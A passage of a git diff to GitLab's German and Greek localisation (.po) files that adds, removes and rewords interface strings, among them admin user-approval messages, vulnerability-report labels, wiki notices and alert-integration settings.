msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr "Upgrade deinen Tarif um die Ticketboards zu verbessern."
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "Datei hochladen"
@@ -28883,6 +29509,9 @@ msgstr "Upvotes"
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr "Aktivität"
@@ -29222,6 +29863,9 @@ msgstr "Persönliche Projekte"
msgid "UserProfile|Report abuse"
msgstr "Missbrauch melden"
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr "Codeausschnitte"
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr "Diese(r) Benutzer(in) ist blockiert"
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr "Alles anzeigen"
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr "Benutzer(innen)"
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr "Verschiedene Einstellungen, die sich auf die GitLab-Leistung auswirken."
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr "Zeige Datei @ "
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr "Projektlabels ansehen"
msgid "View replaced file @ "
msgstr "Zeige ersetzte Datei @ "
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr "Klasse"
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr "Projekt"
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr "Schweregrad"
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr "Wiki"
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr "Seitenversion"
msgid "Wiki|Pages"
msgstr "Seiten"
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr "Ja, lass mich Google Code-Benutzer(innen) vollständigen Namen oder GitLab-Benutzer(innen) zuordnen."
-
msgid "Yesterday"
msgstr "Gestern"
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr "Du kannst deine .gitlab-ci.yml mit %{linkStart}CI Lint%{linkEnd} testen."
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr "Du wirst nur Benachrichtigungen für Kommentare erhalten, in denen du @e
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr "Du kannst erst mittels '%{protocol}' übertragen (push) oder abrufen (pull), nachdem du für dein Konto '%{set_password_link}'"
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr "Du musst einen deinem Profil einen SSH-Schlüssel hinzufügen, bevor du deinen Projekt-Code mittels Pull oder Push über SSH übertragen kannst"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
+msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr "Du erhältst diese E-Mail aufgrund deines Accounts auf %{host}."
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr "YouTube"
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,14 +32007,11 @@ msgstr "%{reportType}: Beim Laden trat ein Fehler auf"
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr "(Fehler beim Laden der Ergebnisse)"
-
-msgid "ciReport|(is loading)"
-msgstr "(wird geladen)"
+msgid "ciReport|: Loading resulted in an error"
+msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
-msgstr "(Lädt, Fehler beim Laden der Ergebnisse)"
+msgid "ciReport|API Fuzzing"
+msgstr ""
msgid "ciReport|All projects"
msgstr ""
@@ -31467,6 +32177,12 @@ msgstr[1] "Verwendet von %{packagesString} und %{lastPackage}"
msgid "ciReport|View full report"
msgstr "Gesamten Bericht anzeigen"
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr "Verbinde"
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr "anpassen"
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr "erledigt"
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr "für %{ref}"
msgid "for this project"
msgstr "für dieses Projekt"
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr "dieses Projekt forken"
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr "ist bereits vergeben"
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr "Hilfe"
@@ -31682,8 +32395,8 @@ msgstr ""
msgid "import flow"
msgstr "Vorgehen beim Import"
-msgid "importing"
-msgstr "Importiere"
+msgid "in"
+msgstr ""
msgid "in group %{link_to_group}"
msgstr "In Gruppe %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr "Niemand kann mergen"
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr "Keine"
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr "erstellt %{timeAgoString} von %{user}"
@@ -32250,6 +32969,9 @@ msgstr "erstellt %{timeAgo}"
msgid "or"
msgstr "oder"
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] "von insgesamt %d Test"
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr "Projekte"
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr "Fehler während der Merge-Request-Erstellung"
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr "Kritisch"
@@ -32392,9 +33120,15 @@ msgstr "Info"
msgid "severity|Low"
msgstr "Niedrig"
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr "Mittel"
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr "Keine"
@@ -32443,9 +33177,6 @@ msgstr "%{slash_command} aktualisiert die Summe der aufgewendeten Zeit."
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr "gestartet"
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,11 +33207,11 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
-msgstr "Syntax ist korrekt"
+msgid "syntax is correct."
+msgstr ""
-msgid "syntax is incorrect"
-msgstr "Syntax ist nicht korrekt"
+msgid "syntax is incorrect."
+msgstr ""
msgid "tag name"
msgstr "Tag-Name"
@@ -32488,6 +33219,9 @@ msgstr "Tag-Name"
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr "die folgenden Ticket(s)"
@@ -32497,6 +33231,9 @@ msgstr "dieses Dokument"
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "um deinen Mitwirkenden zu helfen möglichst effizient zu kommunizieren!"
@@ -32569,6 +33306,11 @@ msgstr "Blob anschauen"
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/el_GR/gitlab.po b/locale/el_GR/gitlab.po
index 589a59ba118..4d1e794a084 100644
--- a/locale/el_GR/gitlab.po
+++ b/locale/el_GR/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: el\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:47\n"
+"PO-Revision-Date: 2020-12-03 08:16\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
